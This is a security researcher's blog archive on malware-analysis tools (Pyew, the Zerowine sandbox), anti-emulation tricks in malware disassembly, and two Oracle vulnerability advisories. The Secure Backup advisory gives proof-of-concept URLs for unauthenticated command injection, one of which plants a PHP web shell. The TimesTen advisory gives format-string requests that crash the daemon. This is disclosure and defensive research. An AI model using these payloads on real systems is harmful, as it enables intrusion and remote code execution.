Pyew! A Python tool to analyze malware

February 8th, 2010

Working in a disassembler with code analysis to speed up (graph) analysis of malware dumps (malware dumped from memory while running) I decided to write a tool using this core oriented to malware analysis and the result is Pyew!

Pyew is a tool like radare or biew/hiew. It’s an hexadecimal viewer, disassembler for IA32 and AMD64 with support for PE & ELF formats as well as other non executable formats, like OLE2 or PDF. In the project’s page you may find usage examples (like the superficial analysis of some Mebroot dowloaders) as well as the features of the version available for download as a package (however, I recommend you to download the bleeding edge version from the Mercurial repository available here).

Anyway, even when Pyew have a command line interface (and a graphical user interface is planned) it was written for batch analysis of malware. Let’s imagine the following situation: You need to analyze a bunch of malware samples, i.e. 1000 new samples. What would you do? Analyze all of them manually one per one? It’s better to write some sort of batch script to analyze the samples and get a simple report about the malwares. You may find in the wiki of Pyew a batch script example to check for some specific marks at the file header, get the API calls made at entry point or to get a list of uncommon mnemonics found in the entry point.

Just to show another example of Pyew in batch mode I will explain how to write a simple script to get mnemonics of instructions used commonly as antidebugs. Let’s start writting the script. First import the libraries we need:

  1. from pyew_core import CPyew

We need to import the class CPyew from pyew_core (the kernel of Pyew). Next, write a code to handle the load of one file and, after the load, print the antidebugs found:

import sys
  1. from pyew_core import CPyew
  2.  
  3. filename = sys.argv[1]
  4. pyew = CPyew(batch=True) # Specify that we're in batch mode
  5. pyew.codeanalysis = True # Just in case, by default code analysis is always performed
  6. pyew.loadFile(filename) # Load the file and read all the structures, perform code analysis, etc…
  7.  
  8. print pyew.antidebug

That’s all! This simple script will take as input a file and will analyze it for mnemonics used as antidebug (like INT 3 or RDTSC). Now, it’s time to write a better script that takes a directory and recursively traverses every subdirectory to analyze all files. The final result is here

Malware Tricks I

December 2nd, 2009

Today, while analyzing a family of malwares (the familiy called by some vendors as “Krap”) I noticed a good and new, at least for me, antiemulation technique. What do you think this sample code does?

some_func:
  1.   ; Do stuff…
  2.  
  3. start:
  4.    push offset some_func
  5.    jmp edx

What is this? We’re pushing the address of the function some_func in the stack and, after this, jumping unconditionally to the address contained at EDX. The question here is: What value has the EDX register before executing your first line of assembly code? You have the address of ntdll!KiFastSystemCallRet:

So, basically, we’re jumping to a return only function (see a detailed description of KiFastSystemCallRet) efectively returning into the “some_func” function. The emulators I tested, as in example, the Bochs Debugger module that comes with IDA Pro, initialize all the registers to 0: a cool trick! And the first time I see this.

The tricks I typically find in malware are undocumented (or non typical) API calls mixed with junk code, as the following example extracted from a Mebroot downloader:

  1. 000013a7 PUSH 0×74327ebc
  2. 000013ac CALL KERNEL32.dll!WriteFile
  3. 000013b2 TEST EAX, EAX
  4. 000013b4 JZ 0×000013bb      ; 1
  5. 000013b6 JMP 0×0000108e     ; 2
  6. 000013bb PUSH 0×0
  7. 000013bd CALL KERNEL32.dll!DisconnectNamedPipe

Junk code using APIs relatively commons:

  1. 00001c1f PUSH 0×0
  2. 00001c21 PUSH 0×0
  3. 00001c23 CALL SHLWAPI.dll!SHDeleteKeyA
  4. 00001c29 PUSH 0×100
  5. 00001c2e CALL msvcrt.dll!malloc
  6. 00001c34 ADD ESP, 0×4
  7. 00001c37 PUSH EAX
  8. 00001c38 CALL msvcrt.dll!free
  9. 00001c3e ADD ESP, 0×4
  10. 00001c41 PUSH 0×0
  11. 00001c43 CALL WINMM.dll!timeKillEvent
  12. 00001c49 PUSH 0×10005129
  13. 00001c4e LEA EAX, [EBP-0×20]
  14. 00001c51 PUSH EAX
  15. 00001c52 CALL USER32.dll!wsprintfA
  16. 00001c58 ADD ESP, 0×8
  17. 00001c5b PUSH 0×0
  18. 00001c5d CALL ADVAPI32.dll!RegCloseKey
  19. 00001c63 CALL ole32.dll!OleUninitialize

Very simple API calls not commonly emulated (extracted from the dropper of the rootkit TDSS):

  1. 00000813 XOR ESI, ESI
  2. 00000815 PUSH ESI
  3. 00000816 MOV EAX, [0×40600c]        ; kernel32.dll!GetModuleHandleA
  4. 0000081d CALL EAX
  5. 0000081f (PUSH 0×74
  6. 00000821 MOV EAX, [0×406080]        ; msvcrt.dll!iscntrl
  7. 00000827 CALL EAX
  8. 00000829 POP ECX
  9. 0000082a TEST EAX, EAX
  10. 0000082c JNZ 0×000008ad     ; 1
  11. 00000832 PUSH 0×6d
  12. 00000834 PUSH 0×68
  13. 00000836 MOV EAX, [0×40607c]        ; msvcrt.dll!is_wctype
  14. 0000083d CALL EAX

Or strange x86 assembly instructions like multibyte NOPs with redundant prefixes and so on (found in some variants of Sality):

  1. f30f1f90909090. rep nop [eax+0×66909090]

I know it’s just one antiemulation trick and there are thousands of them but this trick is new (at least for me), special and cool!

Zerowine: Better reports, network conversations and bug fixes

February 10th, 2009

Single user version of Zerowine

Yesterday I finished the (surely) last single-user version of Zerowine and added some interesting features to it. Many Zerowine users told me that the reports were very confusing and, yes, that’s true. I fixed this problem by adding new debugging channels to the currently latest stable version of Wine (1.1.10) and, well, the reports now are less confusing and more readable. The new debugging channels I added to Wine are the following:

  1. humanmalware: This channel shows in human readable format what the malware is doing.
  2. malware: Quite similar to the TRACE channel, but just logs the calls to APIs interesting for malware research.
  3. malwaredump: This channel shows the network conversations.
  4. malwarereg: Shows registry operations.
  5. malwarelib: Shows what libraries the malware is loading/unloading.

The following is an example report of running a malware in the sandbox with the latest features:

Zerowine reports with the new channels

Zerowine reports with the new channels

We can see how the malware connects to some remote web server, the HTTP query executed, the local file downloaded, etc… This in the “Report” section, in the “Signature” section we get just the “human readable” format of the report (as is normal, not as detailed as the “Report” section, however).

I also fixed various bugs (in both Wine and Zerowine) and Zerowine now is able to detect more anti-debugging techniques, to dump new malware formats and more secure. I removed some features in the patched version of Wine that are a bit insecure for malware analysis.

Well, and that’s all for the mono-user version (I will be releasing it this week, or at least I hope to do so). I will update this entry when the file I’m uploading to the Sourceforge.net finishes, and it’s very slow (really, a pain in the ass).

Multiuser Version of Zerowine

The new multi-user version of Zerowine will take a long while because it requires a lot of changes, however, many features are implemented right now (Queues, multiple malware analysis nodes, database support, etc…). The changes will be, mainly, architectural ones but not all. In example, I’m implementing right now new “engines” to analyze malware in other platforms: One IDA Pro based agent to execute the malware with the Bochs Debugger inside IDA, dump & analyze it and get an unpacked IDB database.

Other (possible) agent I’m planning is a Windows hooker to analyze the malware in a real Windows box (but the problem that comes to my mind is how to clean the environment automatically after the malware execution…).

Zerowine: Malware dumping and detection tricks [Updated]

January 18th, 2009

Update: I released the new version now! Download the prebuilt QEmu virtual machine (or the source code) from here. Remember that the root’s password is ‘zerowine’. There is also another user account: ‘malware’ with password ‘malware’.

I recently added 3 new interesting features to Zerowine. The very first one is the ability to dump the malware from memory while running and analyze the memory. This way, strings and code hidden in a packed malware can be analyzed because it is completely unpacked, as in the following example showing the strings from a variant of the MyTob malware packed with MEW.

Zerowine: String analysis of the MyTob malware after dumping it from memory

Zerowine: String analysis of the MyTob malware after dumping it from memory

The memory dumps can also be downloaded for later analysis with IDA Pro. The dumping process is done from outside WINE with a Python script (/home/malware/bin/dump_process.py) that uses python-ptrace to attach to the running malware and dump the memory.

I added also signatures using this new feature to detect the most typical Virtual Machine detection tricks (such as the redpill trick or the VMWare’s backdoor).

In this screenshot you can see also the “Debugger detection tricks” section. The detection is done by analyzing the behavior of the malware. The following is an analysis of some Chinesse malware packed with Themida:

And, well, that’s all at the moment. The new version will be released (or at least I hope to do so) in a week.

Cheers!

Oracle TimesTen Remote Format String

January 14th, 2009

Product Description

Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management.

Summary

The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server.

Affected versions

Oracle TimesTen prior to version 7.0.5.1.0.

Vulnerability

Oracle TimesTen’s timestend daemon is a simple web server that process the commands received from clients. Many of these commands are used without being authenticated, i.e., without the need for a username and password.

The command “evtdump” dumps to the internal log file the contents of an internal data structure. The pseudo-cgi evtdump only receives one parameter, called msg. The parameter “msg” is a text that will be printed to the log file before dumping the internal structure.

This parameter is vulnerable to a format string attack which leads to remote code execution before being authenticated. The vulnerability have been tested in Linux environments, although it appears to be vulnerable in all the supported platforms.

The following is an extract of a communication between a custom client and the timestend daemon (the output from the server is shown in the file /var/TimesTen/log/ttmesg.log in Unix and GNU/Linux environments):

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s HTTP/1.0\r\n\r\n

AT SERVER:

(…)
# cat /var/TimesTen/log/ttmesg.log
(…)
19:05:07.01 Info:    : 18225: maind 22: socket closed, calling recovery (last cmd was 25)
19:05:19.07 Info:    : 18225: AAAA80a8a0c(null)
19:05:19.07 Info:    : 18225: mode     :  TTDL_NORMAL
19:05:19.07 Info:    : 18225: ctlfilename :  ”
19:05:19.07 Info:    : 18225: lineno   :  0
19:05:19.07 Info:    : 18225: nitems   :  7
19:05:19.07 Info:    : 18225: maxitems :  32
19:05:19.07 Info:    : 18225: cur_path :  (null)
19:05:19.07 Info:    : 18225: lineno   :  0
19:05:19.07 Info:    : 18225: items    :
19:05:19.07 Info:    : 18225:   item # 0  :
19:05:19.07 Info:    : 18225:     comp     : ALL
19:05:19.07 Info:    : 18225:     level    : 3
19:05:19.07 Info:    : 18225:     dsname   : (null)
(…)

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s%25s%25s HTTP/1.0

AT SERVER:

(…)
# cat /var/TimesTen/log/ttmesg.log
19:05:19.08 Info:    : 18225: maind 23: socket closed, calling recovery (last cmd was 26)
19:06:18.49 Info:    : 18225: AAAA80a8a0c(null)(null)
19:06:18.49 Info:    : 18225: mode     :  TTDL_NORMAL
19:06:18.49 Info:    : 18225: ctlfilename :  ”
19:06:18.49 Info:    : 18225: lineno   :  0
19:06:18.49 Info:    : 18225: nitems   :  7
19:06:18.49 Info:    : 18225: maxitems :  32
19:06:18.49 Info:    : 18225: cur_path :  (null)
19:06:18.49 Info:    : 18225: lineno   :  0
19:06:18.49 Info:    : 18225: items    :
19:06:18.49 Info:    : 18225:   item # 0  :
19:06:18.49 Info:    : 18225:     comp     : ALL
19:06:18.49 Info:    : 18225:     level    : 3
19:06:18.49 Info:    : 18225:     dsname   : (null)
(…)

FROM CLIENT:

GET evtdump?msg=AAAA%25n HTTP/1.0

AT SERVER:

(…)
# cat /var/TimesTen/log/ttmesg.log
19:07:38.87 Err :    : 18782: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18785: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18788: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err :    : 18791: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Info: SRV: 18800: EventID=99| TimesTen daemon has disconnected, server is exiting…
19:07:39.54 Info:    : 18785: Listener terminating
19:07:39.54 Info:    : 18785: Listener exited, termination finishing
19:07:39.54 Info:    : 18785: Process termination complete
19:07:39.59 Info:    : 18791: Listener terminating
19:07:39.59 Info:    : 18782: Listener terminating
19:07:39.59 Info:    : 18788: Listener terminating
19:07:39.59 Info:    : 18791: Listener exited, termination finishing
19:07:39.59 Info:    : 18791: Process termination complete
19:07:39.59 Info:    : 18782: Listener exited, termination finishing
19:07:39.59 Info:    : 18782: Process termination complete
19:07:39.59 Info:    : 18788: Listener exited, termination finishing
19:07:39.59 Info:    : 18788: Process termination complete
19:07:40.59 Info: SRV: 18800: EventID=2| TimesTen Server is stopping
19:07:40.59 Info: SRV: 18800: EventID=99| Server trying to stop child server processes
19:07:40.59 Info: SRV: 18800: EventID=11| Main Server cleaned up all child server processes and exiting
(…)

The last msg parameter’s value crashes the timestend daemon. Attaching with a debugger to the timestend daemon we can see the following dump when it crashes:

$ sudo /etc/init.d/tt_70 start &
(…)
$ sudo gdb attach `cat /var/TimesTen/tt70/timestend.pid`
(…)
(gdb) c
(…)
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1223386192 (LWP 18980)]
0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
(gdb) where
#0  0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
#1  0xb76eca36 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6
#2  0xb7826ddb in ttc_vsnprintf () from /opt/TimesTen/tt70/lib/libttco.so
#3  0×0807689f in ttdLogDump ()
#4  0×0805b138 in daHandler ()
#5  0×08073789 in handlerThread ()
#6  0xb77e7341 in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#7  0xb775a4ee in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax            0×0      0
ecx            0×4      4
edx            0×0      0
ebx            0xb77bbadc       -1216628004
esp            0xb71480c0       0xb71480c0
ebp            0xb71486e0       0xb71486e0
esi            0×0      0
edi            0xb714895c       -1223390884
eip            0xb76cf5c6       0xb76cf5c6 <vfprintf+14038>
(…)

The function ttdLogDump is called from daHandler as you can see in the backtrace. This function is the main handler for the internal timestend’s web server. This is the vulnerable function, ttdLogDump, which receives one argument (the msg parameter to the evtdump pseudo cgi):

.text:0807686D ttdLogDump      proc near               ; CODE XREF: daHandler+5F3p
  1. ()
  2. .text:08076879                 lea     eax, [ebp+argRet]
  3. .text:0807687C                 push    eax
  4. .text:0807687D                 push    [ebp+argMsg] ; User controlled string buffer
  5. .text:08076880                 push    0
  6. .text:08076882                 push    100h
  7. .text:08076887                 lea     esi, [ebp+buf]
  8. .text:0807688D                 call    $+5
  9. .text:08076892                 pop     ebx
  10. .text:08076893                 add     ebx, 3217Ah
  11. .text:08076899                 push    esi
  12. .text:0807689A                 call    _ttc_vsnprintf

The function ttc_vsnprintf makes a call internally to the vsnprintf function (in the library /opt/TimesTen/tt70/lib/libttco.so) passing as the buffer to be printed the user supplied value passed to the “msg” argument:

.text:0001ADAA ttc_vsnprintf   proc near               ; CODE XREF: msgbuf_error+73p
  1. .text:0001ADAA                                         ; opt_error+83p …
  2. .text:0001ADAA
  3. ()
  4. .text:0001ADCE                 push    [ebp+arg]       ; arg
  5. .text:0001ADD1                 push    [ebp+argFormat] ; format
  6. .text:0001ADD4                 push    edi             ; maxlen
  7. .text:0001ADD5                 push    eax             ; s
  8. .text:0001ADD6                 call    _vsnprintf

Workaround

None.

Patch information

Oracle fixed the vulnerability in version 7.0.5.1.0 of Oracle Secure Backup.

Contact Information

The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com

References

Oracle TimesTen evtDump Remote Format String

CVE-2008-5440

Oracle Critical Patch Update January 2009

Professional Web

Disclaimer

The information in this advisory and any of its demonstrations is provided “as is” without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.

Oracle Secure Backup 10g Remote Code Execution

January 14th, 2009

Product Description

Oracle Secure Backup is a centralized tape backup management software providing secure data protection for heterogeneous file systems and the Oracle Database.

Summary

The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running the web server of Oracle Secure Backup.

In Windows environments, the vulnerability allows execution of arbitrary code as SYSTEM. In Unix and GNU/Linux environments, however, just as a normal user (oracle usually).

CVSS2 Risk Score

Microsoft Windows: 10
Linux and Unix   :  7,5

Affected versions

Oracle Secure Backup version 10.1.0.3 to 10.2.0.2 in all supported operating systems are affected.

Vulnerability Details

Oracle Secure Backup comes with one PHP based frontend which is vulnerable to a variable poisoning attack regardless if the PHP directive register_globals is enabled or not.

Internally, all the variables passed to the script login.php are converted to global variables in the file $ROOT\php\globals.php. Any variable regarding or regardless the method used to send the query will be registered as a global variable.

From the login script called “login.php” the tool “obt.exe” is executed with a popen call passing arguments received from the client. These arguments are not sanitized nor verified and it allows post-authentication remote command execution BUT due to a logic failure in the script “login.php” when the variable “clear” has the value “no” and other variables (that supposedly comes from a cookie) are set anyone can execute

operating system command from remote without being authenticated. The vulnerable code is the following:

if (strlen($ora_osb_bgcookie) > 0 && $button == “Logout”)
  1. {
  2. // Turn DEBUG_EXEC to off
  3. $tmp = $DEBUG_EXEC;
  4. $DEBUG_EXEC = "no";
  5.  
  6. // Teminate the connection.
  7. $qr_command = "$rbtool –terminate $ora_osb_bgcookie-$ora_osb_lcookie";
  8. $msg = exec_qr("$qr_command");
  9.  
  10. if (strncmp($msg[0], "Error:", 6))
  11. {
  12. // Set the cookie up.
  13. setcookie("ora_osb_bgcookie", "");
  14. setcookie("ora_osb_lcookie", "");
  15. $ora_osb_bgcookie = "";
  16. }
  17.  
  18. // Reset DEBUG_EXEC.
  19. $DEBUG_EXEC = $dtmp;
  20. }
  21. header("Location: /login.php?clear=yes");
  22. }

The function “exec_qr” internally calls the function PHP function “popen” to execute a command. The $rbtool variable, abusing from the variable poisoning attack, can be changed to, in example, /bin/sh or cmd.exe to execute arbitrary commands without the need for a user name or password, just with network access to the Oracle Secure Backup Web server. In fact, the script thinks that we’re doing a logout.

Proof of Concept

* Create a file in the directory “c:\”

https://<target>/login.php?clear=no&ora_osb_lcookie=aa&ora_osb_bgcookie=bb&button=Logout&rbtool=cmd.exe+/c+echo+hello+world+%3E+c:\oracle.secure.backup.txt+;

* Create a PHP backdoor

https://<target>/login.php?clear=no&ora_osb_lcookie=aa&ora_osb_bgcookie=bb&button=Logout&rbtool=cmd.exe+/c+echo+%22%3C%3Fphp+print(shell_exec(%24_GET%5B’a'%5D))%3B+%3F%3E%22+%3E+test.php%3B%26%26+echo

Workaround

Disable the web server.

Patch information

Oracle fixed the vulnerability in version 10.2.0.3 of Oracle Secure Backup.

Contact Information

The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com

References

Oracle Secure Backup exec_qr() Command Injection Vulnerability

CVE-2008-5448

Oracle Critical Patch Update January 2009

Professional Web

Disclaimer

The information in this advisory and any of its demonstrations is provided “as is”
without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of using the
information or demonstrations provided in any part of this advisory.

Malware Behavior Analysis: Zero Wine

December 28th, 2008

As a research project, I decided to create a “sandbox” to analyze malware and generate reports automatically based in the behavior. The sandbox is a Debian based distribution with WINE and various python libraries and tools.

Generally, it works quite well to analyze malware even when it’s packed (as is pretty common in today’s malware). However, WINE fails with some packers as, in example, with Armadillo when the “Compatibility Mode” is disabled. Anyway, almost all the packers I tried are working (themida, aspack, upx, etc…).

Zero Wine is distributed in source code form or as a prebuilt QEmu virtual machine: Download, unpack and run the virtual machine. Using the scripts supplied in the tar.gz file the vm’s port 8000 will be redirected to your computer’s 8000 port and the following very simple web page will be presented:

Quite simple: Just select the malware to upload, specify a timeout and click the submit button. After a while a report’s summary with 4 options will be presented:

The options available are the following:

  1. Report: The complete raw report of all the APIs called by the malware. Hard to follow and hard to understand (a 10mb report is not uncommon).
  2. Strings: Just the output of the typical unix command “strings”.
  3. File headers: All the information gathered from the PE using the library PEFile.
  4. Signature: The signature report is an extract of the full raw report with the most interesting calls.

When the malware was correctly analyzed the “Signature” report is all what you want. A sample malware’s report would be like the following:

In this very first release, the reports aren’t saved in the virtual machines and you can analyze just one malware at a time (as the malware runs in a fixed WINEPREFIX) however, in future releases all the malware’s reports will be added to an SQLite format database and a new WINEPREFIX specific for every malware will be created.

The project is hosted in Sourceforge and, well, that’s all at the moment. Bye!

Joxean Koret